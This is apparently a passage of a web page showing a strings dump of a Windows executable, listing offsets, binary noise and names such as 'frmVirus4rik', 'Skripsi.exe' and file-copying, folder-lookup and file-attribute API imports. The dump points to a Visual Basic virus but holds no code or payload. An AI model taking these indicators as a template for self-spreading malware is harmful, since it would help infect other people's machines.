00410770&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; -=-157:::#+?D?8C49:7</code></li> <li><code class="plain plain">00010796&nbsp;&nbsp; 00410796&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %77777777777777777777777777777777777777777777777777</code></li> <li><code class="plain plain">00010828&nbsp;&nbsp; 00410828&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; #$3Rb</code></li> <li><code class="plain plain">00010833&nbsp;&nbsp; 00410833&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %45CS</code></li> <li><code class="plain plain">00010930&nbsp;&nbsp; 00410930&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; \eAi'</code></li> <li><code class="plain plain">000109B7&nbsp;&nbsp; 004109B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; khjJR</code></li> <li><code class="plain plain">00010A25&nbsp;&nbsp; 00410A25&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 3";erfE</code></li> <li><code class="plain plain">00010B5F&nbsp;&nbsp; 00410B5F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 'qQZf</code></li> <li><code class="plain plain">00010C78&nbsp;&nbsp; 00410C78&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; EBQZPv</code></li> <li><code class="plain plain">00010CE6&nbsp;&nbsp; 00410CE6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ~ZX!Ji</code></li> <li><code class="plain plain">00010D3F&nbsp;&nbsp; 00410D3F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; &amp;;E|}B</code></li> <li><code class="plain plain">00010F17&nbsp;&nbsp; 00410F17&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; +O{tc</code></li> <li><code class="plain plain">0001103B&nbsp;&nbsp; 0041103B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; +Az!*ln</code></li> <li><code class="plain plain">00011104&nbsp;&nbsp; 00411104&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Pu*!|\</code></li> <li><code class="plain plain">00011117&nbsp;&nbsp; 00411117&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; (.:G]K</code></li> <li><code class="plain plain">00011280&nbsp;&nbsp; 00411280&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; mvAd]</code></li> <li><code class="plain plain">00011286&nbsp;&nbsp; 00411286&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; *w%JN</code></li> <li><code class="plain plain">000112F4&nbsp;&nbsp; 004112F4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; U2{@d</code></li> <li><code class="plain plain">000113D1&nbsp;&nbsp; 004113D1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; !Im~/zU</code></li> <li><code class="plain plain">0001141C&nbsp;&nbsp; 0041141C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; AQtQ@QE</code></li> <li><code class="plain plain">0001148B&nbsp;&nbsp; 0041148B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Image4</code></li> <li><code class="plain plain">000114DB&nbsp;&nbsp; 004114DB&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; $(4,$&amp;1'</code></li> <li><code class="plain plain">000114E5&nbsp;&nbsp; 004114E5&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; -=-157:::#+?D?8C49:7</code></li> <li><code class="plain plain">0001150B&nbsp;&nbsp; 0041150B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %77777777777777777777777777777777777777777777777777</code></li> <li><code class="plain plain">000115A3&nbsp;&nbsp; 004115A3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 34Sbc</code></li> <li><code class="plain plain">00011672&nbsp;&nbsp; 00411672&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; @V~8R00~Dw</code></li> <li><code class="plain plain">0001174A&nbsp;&nbsp; 0041174A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Jn[QK</code></li> <li><code class="plain plain">00011C43&nbsp;&nbsp; 00411C43&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ofDhD</code></li> <li><code class="plain plain">0001201C&nbsp;&nbsp; 0041201C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Skripsi.exe</code></li> <li><code class="plain plain">00012028&nbsp;&nbsp; 00412028&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; explorer</code></li> <li><code class="plain plain">00012032&nbsp;&nbsp; 00412032&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Project1</code></li> <li><code class="plain plain">000126BC&nbsp;&nbsp; 004126BC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; frmVirus4rik</code></li> <li><code class="plain plain">000126CC&nbsp;&nbsp; 004126CC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; MdlVirus4rik</code></li> <li><code class="plain plain">000126DC&nbsp;&nbsp; 004126DC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Project1</code></li> <li><code class="plain plain">00012738&nbsp;&nbsp; 00412738&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Image2</code></li> <li><code class="plain plain">00012750&nbsp;&nbsp; 00412750&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; D:\Visual Basic\VB6.OLB</code></li> <li><code class="plain plain">000127A4&nbsp;&nbsp; 004127A4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Label1</code></li> <li><code class="plain plain">000127D4&nbsp;&nbsp; 004127D4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Timer1</code></li> <li><code class="plain plain">000127DC&nbsp;&nbsp; 004127DC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Image1</code></li> <li><code class="plain plain">000127E4&nbsp;&nbsp; 004127E4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Image4</code></li> <li><code class="plain plain">00012870&nbsp;&nbsp; 00412870&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; kernel32</code></li> <li><code class="plain plain">00012880&nbsp;&nbsp; 00412880&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; CopyFileA</code></li> <li><code class="plain plain">000128C4&nbsp;&nbsp; 004128C4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; shell32.dll</code></li> <li><code class="plain plain">000128D4&nbsp;&nbsp; 004128D4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; SHGetSpecialFolderLocation</code></li> <li><code class="plain plain">00012928&nbsp;&nbsp; 00412928&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; SHGetPathFromIDListA</code></li> <li><code class="plain plain">00012978&nbsp;&nbsp; 00412978&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; kernel32.dll</code></li> <li><code class="plain plain">0001298C&nbsp;&nbsp; 0041298C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetSystemDirectoryA</code></li> <li><code class="plain plain">000129A0&nbsp;&nbsp; 004129A0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaStrVarVal</code></li> <li><code class="plain plain">000129E8&nbsp;&nbsp; 004129E8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetWindowsDirectoryA</code></li> <li><code class="plain plain">00012A38&nbsp;&nbsp; 00412A38&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetDriveTypeA</code></li> <li><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</li> <li><code class="plain plain">File pos&nbsp;&nbsp; Mem pos&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ID&nbsp;&nbsp; Text</code></li> <li><code class="plain plain">========&nbsp;&nbsp; =======&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ==&nbsp;&nbsp; ====</code></li> <li><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</li> <li><code class="plain plain">00012A80&nbsp;&nbsp; 00412A80&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; SetFileAttributesA</code></li> <li><code class="plain plain">00012ACC&nbsp;&nbsp; 00412ACC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetFileAttributesA</code></li> <li><code class="plain plain">00012B30&nbsp;&nbsp; 00412B30&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; VBA6.DLL</code></li> <li><code class="plain plain">00012B3C&nbsp;&nbsp; 00412B3C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaObjSet</code></li> <li><code class="plain plain">00012B48&nbsp;&nbsp; 00412B48&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaFreeObj</code></li> <li><code class="plain plain">00012B58&nbsp;&nbsp; 00412B58&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaHresultCheckObj</code></li> <li><code class="plain plain">00012B70&nbsp;&nbsp; 00412B70&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaNew2</code></li> <li><code class="plain plain">00012B84&nbsp;&nbsp; 00412B84&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaEnd</code></li> <li><code class="plain plain">00012B90&nbsp;&nbsp; 00412B90&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaFreeVar</code></li> <li><code class="plain plain">00012BBC&nbsp;&nbsp; 00412BBC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaFreeStr</code></li> <li><code class="plain plain">00012BCC&nbsp;&nbsp; 00412BCC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaVarDup</code></li> <li><code class="plain plain">00012BD8&nbsp;&nbsp; 00412BD8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaStrMove</code></li> <li><code class="plain plain">00012BE8&nbsp;&nbsp; 00412BE8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaStrCmp</code></li> <li><code class="plain plain">0001351C&nbsp;&nbsp; 0041351C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaInStr</code></li> <li><code class="plain plain">000138E4&nbsp;&nbsp; 004138E4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaLateMemCall</code></li> <li><code class="plain plain">000138F8&nbsp;&nbsp; 004138F8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaObjVar</code></li> <li><code class="plain plain">00013904&nbsp;&nbsp; 00413904&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaObjSetAddref</code></li> <li><code class="plain plain">00013918&nbsp;&nbsp; 00413918&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaFreeVarList</code></li> <li><code class="plain plain">0001392C&nbsp;&nbsp; 0041392C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaVarCat</code></li> <li><code class="plain plain">00013938&nbsp;&nbsp; 00413938&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaStrVarMove</code></li> <li><code class="plain plain">00013948&nbsp;&nbsp; 00413948&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaLsetFixstr</code></li> <li><code class="plain plain">00013958&nbsp;&nbsp; 00413958&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaFixstrConstruct</code></li> <li><code class="plain plain">00013970&nbsp;&nbsp; 00413970&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaErrorOverflow</code></li> <li><code class="plain plain">00013984&nbsp;&nbsp; 00413984&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaStrCopy</code></li> <li><code class="plain plain">00013994&nbsp;&nbsp; 00413994&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaStrToUnicode</code></li> <li><code class="plain plain">000139A8&nbsp;&nbsp; 004139A8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaStrToAnsi</code></li> <li><code class="plain plain">000139B8&nbsp;&nbsp; 004139B8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaVarTstEq</code></li> <li><code class="plain plain">000139C8&nbsp;&nbsp; 004139C8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaSetSystemError</code></li> <li><code class="plain plain">000139DC&nbsp;&nbsp; 004139DC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaFreeObjList</code></li> <li><code class="plain plain">000139F0&nbsp;&nbsp; 004139F0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaFreeStrList</code></li> <li><code class="plain plain">00013A04&nbsp;&nbsp; 00413A04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaStrCat</code></li> <li><code class="plain plain">00013A10&nbsp;&nbsp; 00413A10&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaOnError</code></li> <li><code class="plain plain">00013BE1&nbsp;&nbsp; 00413BE1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; j|hP(A</code></li> <li><code class="plain plain">00013CD6&nbsp;&nbsp; 00413CD6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; jTh +A</code></li> <li><code class="plain plain">00013F49&nbsp;&nbsp; 00413F49&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; jPhP(A</code></li> <li><code class="plain plain">00013FFE&nbsp;&nbsp; 00413FFE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; jXhP(A</code></li> <li><code class="plain plain">0001476F&nbsp;&nbsp; 0041476F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; PhT,A</code></li> <li><code class="plain plain">00014A8C&nbsp;&nbsp; 00414A8C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Ph0-A</code></li> <li><code class="plain plain">000153EC&nbsp;&nbsp; 004153EC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Ph$.A</code></li> <li><code class="plain plain">000154B4&nbsp;&nbsp; 004154B4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; PhD.A</code></li> <li><code class="plain plain">0001557C&nbsp;&nbsp; 0041557C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Phd.A</code></li> <li><code class="plain plain">00015AF4&nbsp;&nbsp; 00415AF4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Ph8/A</code></li> <li><code class="plain plain">00015BBC&nbsp;&nbsp; 00415BBC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; PhX/A</code></li> <li><code class="plain plain">00015C8F&nbsp;&nbsp; 00415C8F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Phx/A</code></li> <li><code class="plain plain">00015DA3&nbsp;&nbsp; 00415DA3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; jPhP(A</code></li> <li><code class="plain plain">00015F3E&nbsp;&nbsp; 00415F3E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; jPhP(A</code></li> <li><code class="plain plain">000160D9&nbsp;&nbsp; 004160D9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; jPhP(A</code></li> <li><code class="plain plain">00016466&nbsp;&nbsp; 00416466&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; jPhP(A</code></li> <li><code class="plain plain">0001691D&nbsp;&nbsp; 0041691D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Ph80A</code></li> <li><code class="plain plain">00016977&nbsp;&nbsp; 00416977&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Phh0A</code></li> <li><code class="plain plain">00016A16&nbsp;&nbsp; 00416A16&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; jPhP(A</code></li> <li><code class="plain plain">00016A8D&nbsp;&nbsp; 00416A8D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; jXhP(A</code></li> <li><code class="plain plain">00016B43&nbsp;&nbsp; 00416B43&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Phx/A</code></li> <li><code class="plain plain">00016DF2&nbsp;&nbsp; 00416DF2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Ph|3A</code></li> <li><code class="plain plain">00016EA9&nbsp;&nbsp; 00416EA9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Ph$4A</code></li> <li><code class="plain plain">00016ECF&nbsp;&nbsp; 00416ECF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Phh0A</code></li> <li><code class="plain plain">00016F6B&nbsp;&nbsp; 00416F6B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Ph04A</code></li> <li><code class="plain plain">00017012&nbsp;&nbsp; 00417012&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; PhL4A</code></li> <li><code class="plain plain">000170B9&nbsp;&nbsp; 004170B9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Phl4A</code></li> <li><code class="plain plain">000170D7&nbsp;&nbsp; 004170D7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Ph0-A</code></li> <li><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</li> <li><code class="plain plain">File pos&nbsp;&nbsp; Mem pos&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ID&nbsp;&nbsp; Text</code></li> <li><code class="plain plain">========&nbsp;&nbsp; =======&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ==&nbsp;&nbsp; ====</code></li> <li><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</li> <li><code class="plain plain">000172AE&nbsp;&nbsp; 004172AE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Ph,5A</code></li> <li><code class="plain plain">000172CC&nbsp;&nbsp; 004172CC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Ph8/A</code></li> <li><code class="plain plain">00017355&nbsp;&nbsp; 00417355&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Phd5A</code></li> <li><code class="plain plain">00017373&nbsp;&nbsp; 00417373&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Phd.A</code></li> <li><code class="plain plain">000173EC&nbsp;&nbsp; 004173EC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Dhl3A</code></li> <li><code class="plain plain">0001760C&nbsp;&nbsp; 0041760C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Ph\6A</code></li> <li><code class="plain plain">000178CC&nbsp;&nbsp; 004178CC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Ph87A</code></li> <li><code class="plain plain">00017B8C&nbsp;&nbsp; 00417B8C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; PhL8A</code></li> <li><code class="plain plain">00017EBC&nbsp;&nbsp; 00417EBC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; MSVBVM60.DLL</code></li> <li><code class="plain plain">00017ECC&nbsp;&nbsp; 00417ECC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _CIcos</code></li> <li><code class="plain plain">00017ED6&nbsp;&nbsp; 00417ED6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _adj_fptan</code></li> <li><code class="plain plain">00017EE4&nbsp;&nbsp; 00417EE4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaFreeVar</code></li> <li><code class="plain plain">00017EF4&nbsp;&nbsp; 00417EF4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaStrVarMove</code></li> <li><code class="plain plain">00017F06&nbsp;&nbsp; 00417F06&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaFreeVarList</code></li> <li><code class="plain plain">00017F1A&nbsp;&nbsp; 00417F1A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaEnd</code></li> <li><code class="plain plain">00017F26&nbsp;&nbsp; 00417F26&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _adj_fdiv_m64</code></li> <li><code class="plain plain">00017F36&nbsp;&nbsp; 00417F36&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaFreeObjList</code></li> <li><code class="plain plain">00017F4A&nbsp;&nbsp; 00417F4A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _adj_fprem1</code></li> <li><code class="plain plain">00017F58&nbsp;&nbsp; 00417F58&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaStrCat</code></li> <li><code class="plain plain">00017F66&nbsp;&nbsp; 00417F66&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaLsetFixstr</code></li> <li><code class="plain plain">00017F78&nbsp;&nbsp; 00417F78&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaSetSystemError</code></li> <li><code class="plain plain">00017F8E&nbsp;&nbsp; 00417F8E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaHresultCheckObj</code></li> <li><code class="plain plain">00017FA6&nbsp;&nbsp; 00417FA6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _adj_fdiv_m32</code></li> <li><code class="plain plain">00017FB6&nbsp;&nbsp; 00417FB6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaOnError</code></li> <li><code class="plain plain">00017FC6&nbsp;&nbsp; 00417FC6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaObjSet</code></li> <li><code class="plain plain">00017FD4&nbsp;&nbsp; 00417FD4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _adj_fdiv_m16i</code></li> <li><code class="plain plain">00017FE6&nbsp;&nbsp; 00417FE6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaObjSetAddref</code></li> <li><code class="plain plain">00017FFA&nbsp;&nbsp; 00417FFA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _adj_fdivr_m16i</code></li> <li><code class="plain plain">0001800C&nbsp;&nbsp; 0041800C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _CIsin</code></li> <li><code class="plain plain">00018016&nbsp;&nbsp; 00418016&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaChkstk</code></li> <li><code class="plain plain">00018024&nbsp;&nbsp; 00418024&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; EVENT_SINK_AddRef</code></li> <li><code class="plain plain">00018038&nbsp;&nbsp; 00418038&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaStrCmp</code></li> <li><code class="plain plain">00018046&nbsp;&nbsp; 00418046&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaVarTstEq</code></li> <li><code class="plain plain">00018056&nbsp;&nbsp; 00418056&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaObjVar</code></li> <li><code class="plain plain">00018064&nbsp;&nbsp; 00418064&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; DllFunctionCall</code></li> <li><code class="plain plain">00018076&nbsp;&nbsp; 00418076&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _adj_fpatan</code></li> <li><code class="plain plain">00018084&nbsp;&nbsp; 00418084&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaFixstrConstruct</code></li> <li><code class="plain plain">0001809C&nbsp;&nbsp; 0041809C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; EVENT_SINK_Release</code></li> <li><code class="plain plain">000180B2&nbsp;&nbsp; 004180B2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _CIsqrt</code></li> <li><code class="plain plain">000180BC&nbsp;&nbsp; 004180BC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; EVENT_SINK_QueryInterface</code></li> <li><code class="plain plain">000180D8&nbsp;&nbsp; 004180D8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaExceptHandler</code></li> <li><code class="plain plain">000180EE&nbsp;&nbsp; 004180EE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaStrToUnicode</code></li> <li><code class="plain plain">00018102&nbsp;&nbsp; 00418102&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _adj_fprem</code></li> <li><code class="plain plain">00018110&nbsp;&nbsp; 00418110&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _adj_fdivr_m64</code></li> <li><code class="plain plain">00018122&nbsp;&nbsp; 00418122&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaFPException</code></li> <li><code class="plain plain">00018136&nbsp;&nbsp; 00418136&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaStrVarVal</code></li> <li><code class="plain plain">00018148&nbsp;&nbsp; 00418148&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaVarCat</code></li> <li><code class="plain plain">00018156&nbsp;&nbsp; 00418156&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _CIlog</code></li> <li><code class="plain plain">00018160&nbsp;&nbsp; 00418160&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaErrorOverflow</code></li> <li><code class="plain plain">00018176&nbsp;&nbsp; 00418176&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaInStr</code></li> <li><code class="plain plain">00018184&nbsp;&nbsp; 00418184&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; __vbaNew2</code></li> <li><code class="plain plain">00018190&nbsp;&nbsp; 00418190&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _adj_fdiv_m32i</code></li> <li><code class="plain plain">000181A2&nbsp;&nbsp; 004181A2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _adj_fdivr_m32i</code></li> <li><code class="plain plain">000181B4&nbsp;&nbsp; 